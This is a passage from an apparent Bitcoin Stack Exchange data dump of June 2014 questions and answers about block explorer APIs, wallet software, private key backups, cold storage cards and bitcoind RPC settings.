&quot;addresses&quot;: [&#xA;                    &quot;1FrbMcddiM1v3HMpUqygjZYCamBykWCWao&quot;,&#xA;                    &quot;1HT7xU2Ngenf7D4yocz2SAcnNLW7rK8d4E&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot;: &quot;0.01061564&quot;,&#xA;            &quot;n&quot;: 3,&#xA;            &quot;scriptPubKey&quot;: {&#xA;                &quot;asm&quot;: &quot;OP_DUP OP_HASH160 a2f2d251cc06ec1e789800127e3fa6ed9e515651 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;reqSigs&quot;: 1,&#xA;                &quot;type&quot;: &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot;: [&#xA;                    &quot;1FrbMcddiM1v3HMpUqygjZYCamBykWCWao&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ],&#xA;    &quot;blockhash&quot;: &quot;0000000000000000491fdff68a1c99de7798278a791e461b8d5bebdd9df9de46&quot;,&#xA;    &quot;confirmations&quot;: 1,&#xA;    &quot;time&quot;: 1401911255,&#xA;    &quot;blocktime&quot;: 1401911255,&#xA;    &quot;valueOut&quot;: 0.01094144,&#xA;    &quot;size&quot;: 433,&#xA;    &quot;valueIn&quot;: 0.01114144,&#xA;    &quot;fees&quot;: 0.0002&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-06-04T20:00:38.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25772" PostTypeId="2" ParentId="25720" CreationDate="2014-06-04T22:15:56.073" Score="2" Body="&lt;p&gt;Do you need a user interface or to find them via API? We do not have UI at the moment for this (we will very soon) but you can definitely use our &lt;a href=&quot;https://support.biteasy.com/kb/rest-api&quot; rel=&quot;nofollow&quot;&gt;REST API&lt;/a&gt; to get them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the API is what you need then you can just use the following API call to filter ORPHANED blocks only. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://api.biteasy.com/blockchain/v1/blocks?type=ORPHANED&quot; rel=&quot;nofollow&quot;&gt;https://api.biteasy.com/blockchain/v1/blocks?type=ORPHANED&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the transactions weren't included in the main chain then they will either be DEAD or PENDING and you can fetch them with the following API call:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://api.biteasy.com/blockchain/v1/transactions?confidence=DEAD&quot; rel=&quot;nofollow&quot;&gt;https://api.biteasy.com/blockchain/v1/transactions?confidence=DEAD&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://api.biteasy.com/blockchain/v1/transactions?confidence=PENDING&quot; rel=&quot;nofollow&quot;&gt;https://api.biteasy.com/blockchain/v1/transactions?confidence=PENDING&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Check out the link to our documentation and also you can use our testing tool which you can find here &lt;a href=&quot;https://www.biteasy.com/developers/sandbox&quot; rel=&quot;nofollow&quot;&gt;https://www.biteasy.com/developers/sandbox&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12525" LastEditorUserId="12525" LastEditDate="2014-06-23T19:09:03.900" LastActivityDate="2014-06-23T19:09:03.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25773" PostTypeId="2" ParentId="25720" CreationDate="2014-06-05T05:51:38.417" Score="1" Body="&lt;p&gt;In this: &lt;a href=&quot;http://arxiv.org/pdf/1403.6676.pdf&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/pdf/1403.6676.pdf&lt;/a&gt; paper Christian Decker and Roger Wattenhofer describe their use of a system to monitor the bitcoin network for failed transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some tools are available on &lt;a href=&quot;https://github.com/cdecker?tab=repositories&quot; rel=&quot;nofollow&quot;&gt;https://github.com/cdecker?tab=repositories&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though not a database by itself, these tools might be useful for building such a database.&lt;/p&gt;&#xA;" OwnerUserId="13163" LastActivityDate="2014-06-05T05:51:38.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25775" PostTypeId="2" ParentId="566" CreationDate="2014-06-05T07:36:34.867" Score="1" Body="&lt;p&gt;You could also use &lt;a href=&quot;https://www.biteasy.com/blockchain/blocks&quot; rel=&quot;nofollow&quot;&gt;Biteasy.com&lt;/a&gt; to find out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest block is always visible at the top of the blocks list and it includes a date or if you need to find out via API then you can use the following API call which will return the latest one (in JSON format) since they are sorted by date (newest to oldest):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.biteasy.com/blockchain/v1/blocks?per_page=1&quot; rel=&quot;nofollow&quot;&gt;https://api.biteasy.com/blockchain/v1/blocks?per_page=1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12525" LastEditorUserId="12525" LastEditDate="2014-06-23T18:44:39.830" LastActivityDate="2014-06-23T18:44:39.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25776" PostTypeId="2" ParentId="24387" CreationDate="2014-06-05T07:39:06.437" Score="2" Body="&lt;p&gt;You could also use our own &lt;a href=&quot;https://support.biteasy.com/kb/websockets-api&quot; rel=&quot;nofollow&quot;&gt;Websockets API&lt;/a&gt;. More specifically, you need to check the &lt;a href=&quot;https://support.biteasy.com/kb/websockets-api/events/addresses&quot; rel=&quot;nofollow&quot;&gt;addresses event&lt;/a&gt; in order to subscribe to one or multiple address and receive balance updates for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example request command would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;event&quot;: &quot;addresses:update&quot;,&#xA;    &quot;filters&quot;: {&#xA;        &quot;addresses&quot;: [&quot;1Biteasym3p5E4soZq8So6NjkjYugEnz2X&quot;]&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when the balance is updated you will receive the following response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;event&quot;: &quot;addresses:update&quot;,&#xA;    &quot;data&quot;: {&#xA;        &quot;balance&quot;: 1746000,&#xA;        &quot;total_sent&quot;: 0,&#xA;        &quot;total_received&quot;: 1746000,&#xA;        &quot;address&quot;: &quot;1Biteasym3p5E4soZq8So6NjkjYugEnz2X&quot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12525" LastEditorUserId="12525" LastEditDate="2014-06-23T18:52:19.567" LastActivityDate="2014-06-23T18:52:19.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25777" PostTypeId="2" ParentId="25626" CreationDate="2014-06-05T10:29:04.447" Score="4" Body="&lt;p&gt;Turns out there are many ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Node.js&lt;/strong&gt;: Bitcore lets you broadcast a raw transaction to the network without any kind of validation, see the &lt;a href=&quot;http://bitcore.io/&quot; rel=&quot;nofollow&quot;&gt;&quot;broadcast a transaction through P2P&quot; example&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Python&lt;/strong&gt;: &lt;a href=&quot;http://protocoin.readthedocs.org/en/v0.1/&quot; rel=&quot;nofollow&quot;&gt;Protocoin&lt;/a&gt; is a library that can do that.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Java&lt;/strong&gt;: &lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;BitcoinJ&lt;/a&gt; can do it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;C#&lt;/strong&gt;: &lt;a href=&quot;http://code.google.com/p/bitcoinsharp/&quot; rel=&quot;nofollow&quot;&gt;Bitcoincsharp&lt;/a&gt;, which is a port of BitcoinJ can also do it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2014-06-05T10:29:04.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25778" PostTypeId="2" ParentId="18993" CreationDate="2014-06-05T10:53:08.650" Score="1" Body="&lt;p&gt;What you are describing can be done on top of Bitcoin itself using &lt;a href=&quot;https://www.coinprism.com&quot; rel=&quot;nofollow&quot;&gt;colored coins&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With colored coins, an issuer would have a reserve in USD, and issue a &quot;USD-coin&quot; per every USD they have in the reserve. They can then accept deposits from people, and give them USD-coins in exchange. They also offer to redeem every USD-coin for an actual USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those coins can then be sent, received and used for payments like &quot;normal&quot; Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because those USD-coins are backed by a reserve, they can't be minable, and therefore can't live on their own secure Blockchain. This is why using the actual Bitcoin blockchain as the infrastructure combines best of both worlds.&lt;/p&gt;&#xA;" OwnerUserId="2716" LastEditorUserId="2716" LastEditDate="2014-06-05T14:43:06.190" LastActivityDate="2014-06-05T14:43:06.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25779" PostTypeId="1" CreationDate="2014-06-05T11:05:35.420" Score="0" ViewCount="2143" Body="&lt;p&gt;I installed Bitcoin Armory on Ubuntu 13.10. I get the following output when I try to run it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@cloud-server-07:/BitcoinArmory# python ArmoryQt.py&#xA;********************************************************************************&#xA;Loading Armory Engine:&#xA;   Armory Version:       0.91.1&#xA;   PyBtcWallet  Version: 1.35&#xA;Detected Operating system: Linux&#xA;   OS Variant            : ('Ubuntu', '13.10', 'saucy')&#xA;   User home-directory   : /root&#xA;   Satoshi BTC directory : /root/.bitcoin/&#xA;   Armory home dir       : /root/.armory/&#xA;   LevelDB directory     : /root/.armory/databases&#xA;   Armory settings file  : /root/.armory/ArmorySettings.txt&#xA;   Armory log file       : /root/.armory/armorylog.txt&#xA;   Do wallet checking    : True&#xA;ArmoryQt.py: cannot connect to X server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea why?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-07-05T18:34:29.533" Title="Installing Bitcoin Armory on Ubuntu" Tags="|linux|armory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25780" PostTypeId="2" ParentId="25779" CreationDate="2014-06-05T11:10:22.650" Score="0" Body="&lt;p&gt;The installation went fine, but the last line &lt;code&gt;ArmoryQt.py: cannot connect to X server&lt;/code&gt; is the error. Somehow the program cannot be shown in a window. When this happens in an ssh session, you need to relogin with the &lt;code&gt;-X&lt;/code&gt; or &lt;code&gt;-Y&lt;/code&gt; option. In your case, I think you have to look at &lt;a href=&quot;https://askubuntu.com/questions/175611/cannot-connect-to-x-server-when-running-app-with-sudo&quot;&gt;this&lt;/a&gt; answer:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You need to allow the root user access to the X server:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;xhost local:root&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And point the command to the right &lt;code&gt;DISPLAY&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; sudo DISPLAY=$DISPLAY gedit /etc/profile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-06-05T11:10:22.650" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25783" PostTypeId="2" ParentId="21667" CreationDate="2014-06-05T18:04:09.643" Score="0" Body="&lt;p&gt;If you concatenate all the blk files (in order) and put them in bootstrap.dat, and copy that over to ~/.bitcoin/ - then bitcoind will import it.&lt;/p&gt;&#xA;" OwnerUserId="14149" LastEditorUserId="14149" LastEditDate="2014-06-05T21:03:03.980" LastActivityDate="2014-06-05T21:03:03.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25784" PostTypeId="2" ParentId="25779" CreationDate="2014-06-05T18:06:57.123" Score="1" Body="&lt;p&gt;You should not run Armory as root. If you want to run armory as another user, pick a user other than root. You can use &quot;sux&quot; (which you can apt-get install) to become that new user.&lt;/p&gt;&#xA;" OwnerUserId="14149" LastActivityDate="2014-06-05T18:06:57.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25785" PostTypeId="1" AcceptedAnswerId="25796" CreationDate="2014-06-05T18:40:54.610" Score="1" ViewCount="1047" Body="&lt;p&gt;For a given transaction, I have its incoming transactions and I am trying to get the number of the block of those transactions. This seems like something that cannot achieve directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on python with Json RPC and I want to work directly on the block-chain on my computer and not to use online API such as blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get efficiently the block number of a given transaction?&lt;/p&gt;&#xA;" OwnerUserId="16819" LastEditorUserId="16819" LastEditDate="2014-06-06T07:05:15.573" LastActivityDate="2014-06-06T07:54:26.740" Title="How can I get the block number of given transaction?" Tags="|transactions|json-rpc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25786" PostTypeId="1" CreationDate="2014-06-05T23:16:15.900" Score="1" ViewCount="542" Body="&lt;p&gt;Okay, so I have seen the questions on how to go from Bitcoin Core to MultiBit, but I want to go the other way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really, I downloaded and started using the wrong wallet.  I wouldn't even mind MultiBit if it wasn't for that the default folder can't be moved (I dislike having a cluttered home folder) - I asked, and the location is hardcoded.  Considering I use the default clients for the altcoins, I'd rather go with Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd transfer my little funds to Bitcoin Core and suffer the fee, but I have less than the threshold (0.006 something).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make my wallet active in Bitcoin Core, preferably without tearing my hair out?  Or should I (groan) keep mining altcoins next winter (too hot out right now for my poor PC cranked up), build up my Bitcoin balance by exchange, then transfer wallets the easy way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details are appreciated.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="17093" LastActivityDate="2014-09-26T03:08:10.700" Title="How do I switch from MultiBit to Bitcoin-QT?" Tags="|bitcoin-core|multibit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25788" PostTypeId="1" CreationDate="2014-06-06T02:45:47.340" Score="1" ViewCount="474" Body="&lt;p&gt;I just got my Antminer U2 and I've tried it on my PC and Macbook Pro. When Using my Macbook Pro with Asteroid, it shows a Hash rate of +3.0 GH/s. When I use BFGMiner on my PC, I'm only getting 2.07 GH/s. The BFGMiner is using the OC command also, and the Asteroid wasn't using anything. It it just displaying incorrectly or is there an actual difference?&lt;/p&gt;&#xA;" OwnerUserId="17095" LastActivityDate="2014-06-06T02:45:47.340" Title="Why is the hash rate on my Mac higher than my PC with Antminer U2" Tags="|asic|bfgminer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25790" PostTypeId="1" AcceptedAnswerId="25800" CreationDate="2014-06-06T05:06:39.020" Score="1" ViewCount="1674" Body="&lt;p&gt;In multibit, you can export the private keys from a wallet into a basic text document (*.key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# KEEP YOUR PRIVATE KEYS SAFE !&#xA;# Anyone who can read this file can spend your bitcoin.&#xA;#&#xA;# Format:&#xA;#   &amp;lt;Base58 encoded private key&amp;gt;[&amp;lt;whitespace&amp;gt;[&amp;lt;key createdAt&amp;gt;]]&#xA;#&#xA;#   The Base58 encoded private keys are the same format as&#xA;#   produced by the Satoshi client/ sipa dumpprivkey utility.&#xA;#&#xA;#   Key createdAt is in UTC format as specified by ISO 8601&#xA;#   e.g: 2011-12-31T16:42:00Z . The century, 'T' and 'Z' are mandatory&#xA;#&#xA;&#xA;KyBn........................................... 2014-06-06T04:26:48Z&#xA;&#xA;# End of private keys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;[The series of dots is the key, but I censored out the majority of it.]&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10729/public-key-private-key-enough-to-backup&quot;&gt;this post on a similar question&lt;/a&gt;, but I am confused about one particular thing: If I have some transactions after the export, more or new private keys will be created, which will mean that I can no longer depend on this set of private keys to regain access to the funds. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main question is, how exactly can I recover the funds for a particular address with only this private key (or set of private keys) (not specifically in multibit, but generally)? Do all clients and online wallets have an import private key option? What is done behind the scenes with this private key to find the public key and the address?&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2017-08-13T17:38:44.100" Title="If I have only the private key from a multibit private key export, how can I use the bitcoin later elsewhere?" Tags="|private-key|private-key-export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25791" PostTypeId="2" ParentId="12591" CreationDate="2014-06-06T05:51:23.750" Score="2" Body="&lt;p&gt;Without seeing exactly what you are doing on GUIminer, this is just a guess because it is a very common problem beginners run into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When GUIminer was last updated, Slush was using difference credentials to mine on his pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the current credentials to use as of this post's date, per &lt;a href=&quot;https://mining.bitcoin.cz/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Slush's home page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;http://api.bitcoin.cz:8332&lt;/code&gt;&lt;br&gt;&#xA;  (Main pool URL) &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;or&lt;br&gt;&#xA;  &lt;code&gt;stratum.bitcoin.cz:3333&lt;/code&gt;&lt;br&gt;&#xA;  (If you have Stratum-compatible miner)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In GUIminer you are probably using the built in defaults for Slush's pool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2MrDy.jpg&quot; alt=&quot;Slush Default credentials on GUIminer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the Website field does not match one of the two current URL's from Slush's home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to change the server drop down to other and then manually enter the correct credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for the main server:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JYyeT.jpg&quot; alt=&quot;Slush main server credentials GUIminer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for the Stratum server:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LtmKd.jpg&quot; alt=&quot;Slush Stratum server credentials GUIminer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the Stratum server first. Stratum protocol is more efficient and lessens the load on the pool. If it doesn't work then switch to the main server.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm sure you already know, GPU mining is no longer profitable (hasn't been for quite a while). You will likely only make about a penny or two per day worth of Bitcoin while your power cost will probably be about one to two dollars per day. I'm betting that you are just getting started and trying to learn how to do it first before trying anything else, like purchasing an ASIC. That's good. I did the same thing.&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastActivityDate="2014-06-06T05:51:23.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25792" PostTypeId="1" CreationDate="2014-06-06T05:59:09.990" Score="4" ViewCount="356" Body="&lt;p&gt;I just purchased a pair of CryoBit cards and it occurred to me that, while I know how to send money to a cold storage wallet, I am not exactly sure how to send money out.  I assume I import the private key into an online wallet, like BlockChain, and then do a full sweep to another address in the BlockChain wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I import the CryoBit private key doesn't that expose the private key on my CryoBit card, reducing the full trust of that card?  I've read on other answers that once a cold storage private key is imported into an online wallet that wallet should never be used again...  At $30 per CryoBit card that seems like an expensive waste to discard the card after one use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if I do import the private key on the CryoBit card into BlockChain, do I have to do a full sweep or can I just send some of the CryoBit private key funds out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say for example I have $1000 on my CryoBit card and I import the private key into BlockChain.  Then I send $500 to an external address leaving $500 on the CryoBit address.  Then to clean up the cold storage I delete the private key from BlockChain.  Will I still have a trustworthy cold storage wallet in CryoBit with the remaining $500?&lt;/p&gt;&#xA;" OwnerUserId="16899" LastActivityDate="2014-09-04T11:19:20.290" Title="Sending from CryoBit Cold Storage" Tags="|coldstorage|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="25793" PostTypeId="1" CreationDate="2014-06-06T06:18:28.320" Score="5" ViewCount="6805" Body="&lt;p&gt;I see this question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24406/deduct-fee-from-transaction-amount&quot;&gt;time&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1195/how-to-calculate-transaction-size-before-sending&quot;&gt;time&lt;/a&gt; again, but I only find answers for calculating the fees in creating raw transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;code&gt;sendtoaddress&lt;/code&gt; and would like to be able to calculate the tx fee needed prior to calling the api. I would like to avoid creating a raw transaction if reasonably possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how might i do this using the json-rpc api? (i'm using bitcoind)&lt;/p&gt;&#xA;" OwnerUserId="12710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-08-24T05:31:08.637" Title="Calculate tx fees before sending with sendtoaddress" Tags="|transactions|bitcoind|transaction-fees|sending|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25794" PostTypeId="1" AcceptedAnswerId="25802" CreationDate="2014-06-06T06:20:35.427" Score="1" ViewCount="519" Body="&lt;p&gt;If I want to receive funds using the Blockchain Android application I click on the arrow on the top of the screen which brings up the Request Bitcoin screen, showing the QR-code for easy scanning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the QR-code is for the original address generated when I first created my Blockchain wallet.  Even though I have created additional addresses I don't see any way to change the receiving address with the Android application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the option to specify a different receiving address not an option on the Blockchain Android application or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="16899" LastEditorUserId="5406" LastEditDate="2016-01-05T13:30:07.633" LastActivityDate="2016-01-05T13:30:07.633" Title="How to choose address in BlockChain Android Application?" Tags="|blockchain.info|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25795" PostTypeId="2" ParentId="25792" CreationDate="2014-06-06T06:59:59.943" Score="1" Body="&lt;p&gt;Yes, you would simply import the private key to your client or online wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the purpose is to move funds to the address on the card, then keep the card in a place somewhere safe and not use it. For everyday use, I think high grade steel, ceramic cast engraving, fireproofing, etc. is overkill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always send more money to the address after you have swept the balance, but like you said, using it once may compromise the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't see why you can't use the card to send to an address in your Multibit wallet (or other client). This means only your own computer &quot;saw&quot; the private key. As long as you feel comfortable with that, I see no reason why you can't reuse the card. But, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/25790/if-i-have-only-the-private-key-from-a-multibit-private-key-export-how-can-i-use&quot;&gt;and I am not sure about the following&lt;/a&gt;, I think private keys change with every transaction, which might be why you have to sweep the address, rather than just take a portion, and also why you cannot reuse it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will post more once I learn more on this topic. Also, another user may clarify in the meantime.&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-06-06T06:59:59.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25796" PostTypeId="2" ParentId="25785" CreationDate="2014-06-06T07:54:26.740" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;the Wiki&lt;/a&gt;, the &lt;code&gt;gettransaction &amp;lt;txid&amp;gt;&lt;/code&gt; call return a JSON object with the following information&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;amount&quot; : total amount of the transaction&#xA;&quot;confirmations&quot; : number of confirmations of the transaction&#xA;&quot;txid&quot; : the transaction ID&#xA;&quot;time&quot; : time associated with the transaction[1].&#xA;&quot;details&quot; - An array of objects containing:&#xA;&quot;account&quot;&#xA;&quot;address&quot;&#xA;&quot;category&quot;&#xA;&quot;amount&quot;&#xA;&quot;fee&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now just use &lt;code&gt;getblockcount&lt;/code&gt; and subtract &lt;code&gt;&quot;confirmations&quot;&lt;/code&gt; of the JSON object.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-06-06T07:54:26.740" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="25797" PostTypeId="1" AcceptedAnswerId="25798" CreationDate="2014-06-06T08:13:04.017" Score="4" ViewCount="505" Body="&lt;p&gt;I used the bitcoin client but i want to connect to it using public ip adress not localhost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that machine i could reach bitcoin using localhost but when I am using public ip address with the ports required it is not working.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Firewall is down on that machine.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I added this line to bitcoin.conf&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;allowrpc=mypublicaddress&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also my debug window I see these two lines&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2014-06-05 15:04:43 AddLocal(mylocalAddress:18333,1)&lt;/li&gt;&#xA;&lt;li&gt;2014-06-05 15:04:44 AddLocal(myPublicAdress:18333,4)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15501" LastEditorUserId="2995" LastEditDate="2014-06-06T10:51:35.843" LastActivityDate="2014-06-06T12:04:57.350" Title="How can I connect to bitcoin-qt client with public ip address" Tags="|bitcoin-core|client|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25798" PostTypeId="2" ParentId="25797" CreationDate="2014-06-06T09:32:55.723" Score="3" Body="&lt;p&gt;You need to forward the port if you're in a LAN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to add the IP of the server who is making the JSON-RPC call to the bitcoin.config file such as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip= IPMakingTheRequest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17100" LastEditorUserId="2995" LastEditDate="2014-06-06T12:04:57.350" LastActivityDate="2014-06-06T12:04:57.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25800" PostTypeId="2" ParentId="25790" CreationDate="2014-06-06T12:14:23.457" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I have some transactions after the export, more or new private keys will be created, which will mean that I can no longer depend on this set of private keys to regain access to the funds. Is this correct?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you create a new address, you create a new private key, and (with MultiBit's model) you need to backup your private keys again, because there's a new private key added to the list. If you reuse the same address in new transactions (which is possible, but usually not recommended for privacy reasons), you don't need to rebackup your keys.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My main question is, how exactly can I recover the funds for a particular address with only this private key (or set of private keys) (not specifically in multibit, but generally)? Do all clients and online wallets have an import private key option?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most, if not all, clients/wallets have an ability to import private keys. However, there are a few different formats out there, so if the question is, &quot;can Wallet X read this private key directly?&quot;, the answer's not as clear. But I think it 